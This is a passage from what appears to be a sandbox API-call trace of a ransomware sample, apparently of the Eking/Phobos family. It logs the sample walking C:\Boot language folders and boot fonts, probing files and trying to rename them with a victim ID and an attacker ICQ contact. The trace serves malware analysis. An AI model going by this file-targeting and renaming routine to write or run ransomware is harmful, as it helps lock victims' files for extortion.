(lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0275.662] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.662] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.663] ResetEvent (hEvent=0x2a4) returned 1 [0275.663] SetEvent (hEvent=0x2a8) returned 1 [0275.663] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.663] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=75104) returned 1 [0275.663] CloseHandle (hObject=0x29c) returned 1 [0275.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui")) returned 0x20 [0275.663] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui")) returned 0x20 [0275.664] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0275.664] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.664] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.665] ResetEvent (hEvent=0x2a4) returned 1 [0275.665] SetEvent (hEvent=0x2a8) returned 1 [0275.665] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.665] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=76640) returned 1 [0275.665] CloseHandle (hObject=0x29c) returned 1 [0275.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0275.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0275.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0275.666] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.667] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.667] ResetEvent (hEvent=0x2a4) returned 1 [0275.667] SetEvent (hEvent=0x2a8) returned 1 [0275.667] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.668] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=45472) returned 1 [0275.668] CloseHandle (hObject=0x29c) returned 1 [0275.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui")) returned 0x20 [0275.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui")) returned 0x20 [0275.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0275.668] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.668] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.670] ResetEvent (hEvent=0x2a4) returned 1 [0275.670] SetEvent (hEvent=0x2a8) returned 1 [0275.670] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.671] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=3695719) returned 1 [0275.671] CloseHandle (hObject=0x29c) returned 1 [0275.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0275.671] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0275.671] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0 [0275.671] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.672] ResetEvent (hEvent=0x2a4) returned 1 [0275.672] SetEvent (hEvent=0x2a8) returned 1 [0275.672] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.673] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=3878410) returned 1 [0275.673] CloseHandle (hObject=0x29c) returned 1 [0275.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0275.673] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0275.674] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0 [0275.674] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.674] ResetEvent (hEvent=0x2a4) returned 1 [0275.674] SetEvent (hEvent=0x2a8) returned 1 [0275.675] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.677] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=1985867) returned 1 [0275.677] CloseHandle (hObject=0x29c) returned 1 [0275.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0275.678] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0275.678] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0 [0275.678] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.678] ResetEvent (hEvent=0x2a4) returned 1 [0275.679] SetEvent (hEvent=0x2a8) returned 1 [0275.679] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0275.680] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=2373000) returned 1 [0275.680] CloseHandle (hObject=0x29c) returned 1 [0275.680] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0275.680] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0275.680] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0 [0275.681] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0xffffffff) returned 0x0 [0275.682] ResetEvent (hEvent=0x2a4) returned 1 [0275.682] SetEvent (hEvent=0x2a8) returned 1 [0275.864] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0275.866] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=174959) returned 1 [0275.866] CloseHandle (hObject=0x2d8) returned 1 [0275.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf")) returned 0x20 [0275.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf")) returned 0x20 [0275.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0275.866] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.867] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0275.868] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=143754) returned 1 [0275.869] CloseHandle (hObject=0x2d8) returned 1 [0275.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf")) returned 0x20 [0275.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf")) returned 0x20 [0275.869] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0275.870] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryon_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryon_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.870] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0275.871] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=145419) returned 1 [0275.872] CloseHandle (hObject=0x2d8) returned 1 [0275.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf")) returned 0x20 [0275.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf")) returned 0x20 [0275.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.006] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\meiryo_boot.ttf" (normalized: "c:\\boot\\fonts\\meiryo_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.006] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.007] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=162331) returned 1 [0276.007] CloseHandle (hObject=0x2d8) returned 1 [0276.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20 [0276.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20 [0276.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.007] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.008] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.008] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=164347) returned 1 [0276.008] CloseHandle (hObject=0x2d8) returned 1 [0276.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf")) returned 0x20 [0276.008] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf")) returned 0x20 [0276.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.009] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.009] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.009] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=154427) returned 1 [0276.009] CloseHandle (hObject=0x2d8) returned 1 [0276.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20 [0276.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20 [0276.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.010] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.010] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.010] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=156245) returned 1 [0276.010] CloseHandle (hObject=0x2d8) returned 1 [0276.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20 [0276.010] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20 [0276.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.011] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.011] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.011] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=44859) returned 1 [0276.011] CloseHandle (hObject=0x2d8) returned 1 [0276.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf")) returned 0x20 [0276.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf")) returned 0x20 [0276.011] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.012] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.012] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.012] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=85862) returned 1 [0276.012] CloseHandle (hObject=0x2d8) returned 1 [0276.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf")) returned 0x20 [0276.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf")) returned 0x20 [0276.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.013] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.013] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.013] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=86178) returned 1 [0276.013] CloseHandle (hObject=0x2d8) returned 1 [0276.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf")) returned 0x20 [0276.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf")) returned 0x20 [0276.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0276.014] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.014] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0276.014] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=49091) returned 1 [0276.014] CloseHandle (hObject=0x2d8) returned 1 [0276.014] GetFileAttributesW 